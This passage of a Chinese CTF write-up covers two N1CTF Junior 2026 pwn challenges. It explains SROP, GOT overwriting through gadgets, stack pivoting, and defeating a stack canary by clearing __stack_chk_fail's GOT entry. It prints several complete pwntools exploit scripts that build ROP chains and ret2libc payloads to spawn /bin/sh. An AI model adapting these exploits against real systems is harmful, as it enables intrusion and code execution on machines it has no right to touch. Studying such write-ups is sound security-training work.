&lt;p&gt;&lt;strong&gt;内存对齐与 Padding&lt;/strong&gt;： 在构造栈溢出 Payload 时，如果你看到汇编里是 &lt;code&gt;mov eax, [rbp-0x4]&lt;/code&gt;，说明这是一个 4 字节的变量；如果是 &lt;code&gt;mov rax, [rbp-0x8]&lt;/code&gt;，则是 8 字节。这直接决定了你填充垃圾数据（Padding）的长度。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在 x86 架构中，&lt;strong&gt;高八位（High 8-bit）&lt;/strong&gt; 是一个非常具体的历史遗留概念。为了让你在做 pwn 题构造 payload 时不踩坑，我们需要从&lt;strong&gt;寄存器的物理结构&lt;/strong&gt;来看。&lt;/p&gt;
&lt;p&gt;“高八位”指的是 &lt;strong&gt;16 位寄存器（如 AX）中的第 8 到第 15 位&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;以 &lt;code&gt;RAX&lt;/code&gt; 为例，我们可以将其拆解如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;RAX&lt;/strong&gt;: 64 位（全部）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;EAX&lt;/strong&gt;: 低 32 位&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;AX&lt;/strong&gt;: 低 16 位&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;AL (Low)&lt;/strong&gt;: &lt;code&gt;AX&lt;/code&gt; 的低 8 位（第 0-7 位）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;AH (High)&lt;/strong&gt;: &lt;code&gt;AX&lt;/code&gt; 的&lt;strong&gt;高 8 位&lt;/strong&gt;（第 8-15 位）&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;基于 &lt;code&gt;RAX = 0x1122334455667788&lt;/code&gt; 这个例子，拆解如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;EAX (低32位)&lt;/strong&gt;: &lt;code&gt;0x55667788&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;AX (低16位)&lt;/strong&gt;: &lt;code&gt;0x7788&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;AH (AX的高8位)&lt;/strong&gt;: &lt;code&gt;0x77&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;AL (AX的低8位)&lt;/strong&gt;: &lt;code&gt;0x88&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;那么，我们修改哪两个函数好呢？
这里我们就要用ida打开libc来找了
&lt;img src=&quot;./N1CTF_Junior_2026_1_2_Pwn.assets/file-20260210170825888-1771143408931-11.png&quot; alt=&quot;&quot; /&gt;
我们发现在signal的附近有一个signaction，这里有一个gadgets&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.text:0000000000042520 loc_42520:                              ; DATA XREF: __libc_sigaction+8A↓o
.text:0000000000042520                 mov     rax, 15
.text:0000000000042527                 syscall                 ; LINUX - sys_rt_sigreturn
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;凭借这个gadgets，我们可以打srop，这是很好用的一种手法
同样的，我们在alarm附近找到了一个execve
&lt;img src=&quot;./N1CTF_Junior_2026_1_2_Pwn.assets/file-20260210171105000-1771143412025-13.png&quot; alt=&quot;&quot; /&gt;
至此，我们大致的思路就出来了
首先溢出，反复利用magic gadgets将signal的got表改成mov rax,15 ,syscall处
以供我们打srop。将alarm的got表改成execve的真实地址，我们利用srop设置好寄存器然后call alarm即execve来getshell
&lt;img src=&quot;./N1CTF_Junior_2026_1_2_Pwn.assets/file-20260210172756496-1771143414908-15.png&quot; alt=&quot;&quot; /&gt;
我们运行到main函数结束，此时有&lt;code&gt;RDX  0xfbad208b&lt;/code&gt;，则dh为0x20
signal的偏移是0x42420，srop处是0x42520，计算得我们分别加4次和2次即可
同理改alarm我们只需分别加6次和15次即可
&lt;strong&gt;这里注意由于bl是高8位寄存器，最大只能储存255，这里要注意不要让bl溢出了&lt;/strong&gt;
也就是add bl dh的次数*0x20要小于255
然后返回到main函数，第三次输入我们打栈迁移，第四次输入打srop即可
下面给出完整的exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

&apos;&apos;&apos;
    author: GeekCmore
    time: 2026-02-10 14:15:05
&apos;&apos;&apos;
from pwn import *

filename = &quot;pwn_patched&quot;
libcname = &quot;/home/weir-su/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/libc6_2.35-0ubuntu3.8_amd64/lib/x86_64-linux-gnu/libc.so.6&quot;
host = &quot;127.0.0.1&quot;
port = 1337
container_id = &quot;&quot;
proc_name = &quot;&quot;
elf = context.binary = ELF(filename)
if libcname:
    libc = ELF(libcname)
gs = &apos;&apos;&apos;
b main
set debug-file-directory /home/weir-su/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/libc6-dbg_2.35-0ubuntu3.8_amd64/usr/lib/debug
set directories /home/weir-su/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/glibc-source_2.35-0ubuntu3.8_all/usr/src/glibc/glibc-2.35
&apos;&apos;&apos;

def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript = gs)
    elif args.REMOTE:
        return remote(host, port)
    elif args.DOCKER:
        import docker
        from os import path
        p = remote(host, port)
        client = docker.from_env()
        container = client.containers.get(container_id=container_id)
        processes_info = container.top()
        titles = processes_info[&apos;Titles&apos;]
        processes = [dict(zip(titles, proc)) for proc in processes_info[&apos;Processes&apos;]]
        target_proc = []
        for proc in processes:
            cmd = proc.get(&apos;CMD&apos;, &apos;&apos;)
            exe_path = cmd.split()[0] if cmd else &apos;&apos;
            exe_name = path.basename(exe_path)
            if exe_name == proc_name:
                target_proc.append(proc)
        idx = 0
        if len(target_proc) &amp;gt; 1:
            for i, v in enumerate(target_proc):
                print(f&quot;{i} =&amp;gt; {v}&quot;)
            idx = int(input(f&quot;Which one:&quot;))
        import tempfile
        with tempfile.NamedTemporaryFile(prefix = &apos;cpwn-gdbscript-&apos;, delete=False, suffix = &apos;.gdb&apos;, mode = &apos;w&apos;) as tmp:
            tmp.write(f&apos;shell rm {tmp.name}\n{gs}&apos;)
        print(tmp.name)
        run_in_new_terminal([&quot;sudo&quot;, &quot;gdb&quot;, &quot;-p&quot;, target_proc[idx][&apos;PID&apos;], &quot;-x&quot;, tmp.name])
        return p
    else:
        return process(elf.path)

p = start()

# Your exploit here

gdb.attach(p)
pause()

pop_rdi=0x4011fc #pop rdi ; ret
xor_rbx_ret=0x4011FE # xor rbx, rbx ; ret
add_bl_dh_ret=0x4010ae # add bl, dh ; endbr64 ; ret
magic_gadget=0x40114c # add dword ptr [rbp - 0x3d], ebx ; nop ; ret
pop_rbp=0x40114d #pop rbp ; ret
ret=0x40101a
bss=0x404500

payload1=b&apos;a&apos;*0x20+p64(elf.got[&apos;signal&apos;]+0x3d)+p64(add_bl_dh_ret)*4
payload1+=p64(magic_gadget)*2+p64(xor_rbx_ret)+p64(elf.sym[&apos;main&apos;])
p.sendline(payload1)

payload2=b&apos;a&apos;*0x20+p64(elf.got[&apos;alarm&apos;]+0x3d)+p64(add_bl_dh_ret)*6+p64(magic_gadget)*15+p64(elf.sym[&apos;main&apos;])
p.sendline(payload2)

payload3=b&apos;a&apos;*0x20+p64(bss)+p64(0x4011DD)
p.sendline(payload3)

    frame=SigreturnFrame()
frame.rsp=bss-0x100
frame.rip=elf.plt[&apos;alarm&apos;]
frame.rdi=bss-0x20

payload4=(b&apos;/bin/sh\x00&apos;+p64(0xdeedbeef)*4
          +p64(elf.plt[&apos;signal&apos;])+bytes(frame))
p.sendline(payload4)
p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;提问&lt;/strong&gt;：如果这里不用elf.plt[&apos;signal&apos;]来开始srop而是用prison_realm_open的call _signal来开始srop会怎样？
那就有如下的exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

&apos;&apos;&apos;
    author: GeekCmore
    time: 2026-02-10 14:15:05
&apos;&apos;&apos;
from pwn import *

filename = &quot;pwn_patched&quot;
libcname = &quot;/home/weir-su/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/libc6_2.35-0ubuntu3.8_amd64/lib/x86_64-linux-gnu/libc.so.6&quot;
host = &quot;127.0.0.1&quot;
port = 1337
container_id = &quot;&quot;
proc_name = &quot;&quot;
elf = context.binary = ELF(filename)
if libcname:
    libc = ELF(libcname)
gs = &apos;&apos;&apos;
b main
set debug-file-directory /home/weir-su/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/libc6-dbg_2.35-0ubuntu3.8_amd64/usr/lib/debug
set directories /home/weir-su/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/glibc-source_2.35-0ubuntu3.8_all/usr/src/glibc/glibc-2.35
&apos;&apos;&apos;

def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript = gs)
    elif args.REMOTE:
        return remote(host, port)
    elif args.DOCKER:
        import docker
        from os import path
        p = remote(host, port)
        client = docker.from_env()
        container = client.containers.get(container_id=container_id)
        processes_info = container.top()
        titles = processes_info[&apos;Titles&apos;]
        processes = [dict(zip(titles, proc)) for proc in processes_info[&apos;Processes&apos;]]
        target_proc = []
        for proc in processes:
            cmd = proc.get(&apos;CMD&apos;, &apos;&apos;)
            exe_path = cmd.split()[0] if cmd else &apos;&apos;
            exe_name = path.basename(exe_path)
            if exe_name == proc_name:
                target_proc.append(proc)
        idx = 0
        if len(target_proc) &amp;gt; 1:
            for i, v in enumerate(target_proc):
                print(f&quot;{i} =&amp;gt; {v}&quot;)
            idx = int(input(f&quot;Which one:&quot;))
        import tempfile
        with tempfile.NamedTemporaryFile(prefix = &apos;cpwn-gdbscript-&apos;, delete=False, suffix = &apos;.gdb&apos;, mode = &apos;w&apos;) as tmp:
            tmp.write(f&apos;shell rm {tmp.name}\n{gs}&apos;)
        print(tmp.name)
        run_in_new_terminal([&quot;sudo&quot;, &quot;gdb&quot;, &quot;-p&quot;, target_proc[idx][&apos;PID&apos;], &quot;-x&quot;, tmp.name])
        return p
    else:
        return process(elf.path)

p = start()

# Your exploit here

gdb.attach(p)
pause()

pop_rdi=0x4011fc #pop rdi ; ret
xor_rbx_ret=0x4011FE # xor rbx, rbx ; ret
add_bl_dh_ret=0x4010ae # add bl, dh ; endbr64 ; ret
magic_gadget=0x40114c # add dword ptr [rbp - 0x3d], ebx ; nop ; ret
pop_rbp=0x40114d #pop rbp ; ret
ret=0x40101a
bss=0x404500
call_signal=0x4011B4

payload1=b&apos;a&apos;*0x20+p64(elf.got[&apos;signal&apos;]+0x3d)+p64(add_bl_dh_ret)*4
payload1+=p64(magic_gadget)*2+p64(xor_rbx_ret)+p64(elf.sym[&apos;main&apos;])
p.sendline(payload1)

payload2=b&apos;a&apos;*0x20+p64(elf.got[&apos;alarm&apos;]+0x3d)+p64(add_bl_dh_ret)*6+p64(magic_gadget)*15+p64(elf.sym[&apos;main&apos;])
p.sendline(payload2)

payload3=b&apos;a&apos;*0x20+p64(bss)+p64(0x4011DD)
p.sendline(payload3)

frame=SigreturnFrame()
frame.rcx=bss-0x100
frame.rsp=elf.plt[&apos;alarm&apos;]
frame.r15=bss-0x20
frame.eflags=0x33

payload4=(b&apos;/bin/sh\x00&apos;+p64(0xdeedbeef)*4
          +p64(call_signal)+bytes(frame))
p.sendline(payload4)
p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到这里我们伪造的frame有点奇怪？为什么要设置rcx,r15,eflags呢？
这就要我们回到srop中内核是从哪恢复寄存器了
在srop中，内核会根据当前rsp所在处恢复寄存器
我们有如下表格(也是&lt;strong&gt;ai&lt;/strong&gt;整理的)&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;偏移 (Offset)&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;寄存器 (Register)&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;说明 (Notes)&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x00 - 0x28&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uc_flags&lt;/code&gt; &amp;amp; &lt;code&gt;&amp;amp;uc_link&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;预留/标志位，通常填 0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x28 - 0x30&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uc_stack.ss_sp&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;信号栈指针，通常填 0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x30 - 0x38&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uc_stack.ss_flags&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;信号栈标志，通常填 0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x38 - 0x40&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;uc_stack.ss_size&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;信号栈大小，通常填 0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x40 - 0x48&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;R8&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;通用寄存器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x48 - 0x50&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;R9&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;通用寄存器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x50 - 0x58&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;R10&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;通用寄存器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x58 - 0x60&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;R11&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;通用寄存器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x60 - 0x68&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;R12&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;通用寄存器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x68 - 0x70&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;R13&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;通用寄存器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x70 - 0x78&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;R14&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;通用寄存器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x78 - 0x80&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;R15&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;通用寄存器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x80 - 0x88&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;RDI&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;第 1 参数&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x88 - 0x90&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;RSI&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;第 2 参数&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x90 - 0x98&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;RBP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;基址指针&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0x98 - 0xA0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;RBX&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;通用寄存器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0xA0 - 0xA8&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;RDX&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;第 3 参数&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0xA8 - 0xB0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;RAX&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;系统调用号 / 返回值&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0xB0 - 0xB8&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;RCX&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;通用寄存器 (Syscall 破坏)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0xB8 - 0xC0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;RSP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;栈顶指针&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0xC0 - 0xC8&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;RIP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;指令指针 (PC)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0xC8 - 0xD0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;EFLAGS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;标志寄存器&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0xD0 - 0xD2&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;CS / GS / FS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;段寄存器 (重要: CS=0x33)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0xD8 ...&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;fpstate&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;浮点状态指针，通常填 0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;由于我们是call _signal，call指令会将返回地址压栈，也就是rsp会减8字节，但是内核是根据rsp所在处按偏移恢复的&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;举个例子，内核在恢复rdi的时候，会将rsp+0x80处的值给rdi&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;但是我们这里rsp自减了8，也就是要在rsp-0x78处恢复一个值给rdi，但这里正是我们frame.r15处的地方，所以有一个错位，这里eflags设置为0x33是因为这样会恢复给寄存器cs，寄存器cs必须是0x33，否则内核马上会给段错误，而平时没有栈错位pwntools会自动给我们加一个frame.cs=0x33&lt;/p&gt;
&lt;h1&gt;ez_canary&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;./N1CTF_Junior_2026_1_2_Pwn.assets/file-20260227194205369-1774336311952-1.png&quot; alt=&quot;file-20260227194205369&quot; /&gt;&lt;/p&gt;
&lt;p&gt;分服务端和客户端，伪代码看着很复杂，但是很多都是用来处理服务端和客户端的连接的，实际上程序的逻辑很简单，客户端有五次连接到服务器的机会
连接上服务器后，输入1会给一个200字节的读入，如果不是1，会给一个十六字节的读入写到现在的rbp处，也就是我们能控制rbp和返回地址
我们第一次将返回地址改到read处，rbp改到got表处，将__stack_chk_fail函数的got表地址清空，这样就没有canary保护了，然后可以泄露libc基址
之后我们再连接服务器一次，也是劫持__stack_chk_fail然后打ret2libc即可
注意这里疑似要从inet_ntoa开始改，前三个疑似不能改，不然会报错&lt;/p&gt;
&lt;p&gt;这里注意如果调试崩溃了我们需要手动关闭占用7767端口的程序，用命令“sudo lsof -i :7767”查看当前程序的pid，然后用“sudo kill -9 pid”杀掉那个程序即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3  
  
&apos;&apos;&apos;  
    author: Weir_Su    time: 2026-03-09 20:57:34&apos;&apos;&apos;  
from pwn import *  
  
filename = &quot;client_patched&quot;  
libcname = &quot;/home/weir-su/.config/cpwn/pkgs/2.31-0ubuntu9.18/amd64/libc6_2.31-0ubuntu9.18_amd64/lib/x86_64-linux-gnu/libc.so.6&quot;  
host = &quot;127.0.0.1&quot;  
port = 1337  
container_id = &quot;&quot;  
proc_name = &quot;&quot;  
elf = context.binary = ELF(&quot;./client_patched&quot;)  
if libcname:  
    libc = ELF(libcname)  
gs = &apos;&apos;&apos;  
b main  
set debug-file-directory /home/weir-su/.config/cpwn/pkgs/2.31-0ubuntu9.18/amd64/libc6-dbg_2.31-0ubuntu9.18_amd64/usr/lib/debug  
set directories /home/weir-su/.config/cpwn/pkgs/2.31-0ubuntu9.18/amd64/glibc-source_2.31-0ubuntu9.18_all/usr/src/glibc/glibc-2.31  
&apos;&apos;&apos;  
  
context.terminal = [&quot;tmux&quot;, &quot;splitw&quot;, &quot;-l&quot;, &quot;75%&quot;]  
  
def start():  
    if args.GDB:  
        return gdb.debug(elf.path, gdbscript = gs)  
    elif args.REMOTE:  
        return remote(host, port)  
    elif args.DOCKER:  
        import docker  
        from os import path  
        p = remote(host, port)  
        client = docker.from_env()  
        container = client.containers.get(container_id=container_id)  
        processes_info = container.top()  
        titles = processes_info[&apos;Titles&apos;]  
        processes = [dict(zip(titles, proc)) for proc in processes_info[&apos;Processes&apos;]]  
        target_proc = []  
        for proc in processes:  
            cmd = proc.get(&apos;CMD&apos;, &apos;&apos;)  
            exe_path = cmd.split()[0] if cmd else &apos;&apos;  
            exe_name = path.basename(exe_path)  
            if exe_name == proc_name:  
                target_proc.append(proc)  
        idx = 0  
        if len(target_proc) &amp;gt; 1:  
            for i, v in enumerate(target_proc):  
                print(f&quot;{i} =&amp;gt; {v}&quot;)  
            idx = int(input(f&quot;Which one:&quot;))  
        import tempfile  
        with tempfile.NamedTemporaryFile(prefix = &apos;cpwn-gdbscript-&apos;, delete=False, suffix = &apos;.gdb&apos;, mode = &apos;w&apos;) as tmp:  
            tmp.write(f&apos;shell rm {tmp.name}\n{gs}&apos;)  
        print(tmp.name)  
        run_in_new_terminal([&quot;sudo&quot;, &quot;gdb&quot;, &quot;-p&quot;, target_proc[idx][&apos;PID&apos;], &quot;-x&quot;, tmp.name])  
        return p  
    else:  
        return process(elf.path)  
  
p = start()  
  
#gdb.attach(p)  
#pause()  
# Your exploit here  
  
elf=ELF(&apos;./server_patched&apos;)  
  
pop_rdi=0x401893  
got_addr=0x404070  
read_addr=0x401451  
new_rbp=0x404800  
ret_addr=0x40101a  
gift_addr=0x401436  
_term_proc=0x4018B4  
p.sendline(b&apos;0&apos;)  
payload1=p64(got_addr)+p64(read_addr)  
p.sendafter(b&apos;This is canary!&apos;,payload1)  
sleep(0.1)  
payload2=p64(_term_proc)*8+p64(new_rbp)+p64(read_addr)  
p.send(payload2)  
pause()  
payload3=p64(0)*9+p64(pop_rdi)+p64(elf.got[&apos;puts&apos;])+p64(elf.plt[&apos;puts&apos;])  
p.send(payload3)  
p.recvuntil(b&apos;[Server]: &apos;)  
libc_addr=int.from_bytes(p.recv(6), byteorder=&apos;little&apos;)-libc.symbols[&apos;puts&apos;]  
success(hex(libc_addr))  
p.close()  
if args.REMOTE:  
    p=remote(host,port)  
else:  
    p=process(&apos;./client_patched&apos;)  
pause()  
p.sendline(b&apos;0&apos;)  
payload1=p64(got_addr)+p64(read_addr)  
p.sendafter(b&apos;This is canary!&apos;,payload1)  
sleep(0.1)  
payload2=p64(_term_proc)*8+p64(new_rbp)+p64(read_addr)  
p.send(payload2)  
pause()  
system_addr=libc_addr+libc.symbols[&apos;system&apos;]  
binsh_addr=libc_addr+next(libc.search(b&quot;/bin/sh\x00&quot;))  
payload3=p64(0)*9+p64(ret_addr)+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)  
p.send(payload3)  
p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;参考资料 / Reference：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.mcitd.cn/posts/n1ctf-junior-2026-1/wp/&quot;&gt;ItsFlicker - N1CTF Junior 2026 1/2 Pwn 全题解&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s/QE9UsmW1qNYrUyQt45hIsw&quot;&gt; 小M安全 - N1CTF Junior 2026 1/2 pwn&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item></channel></rss>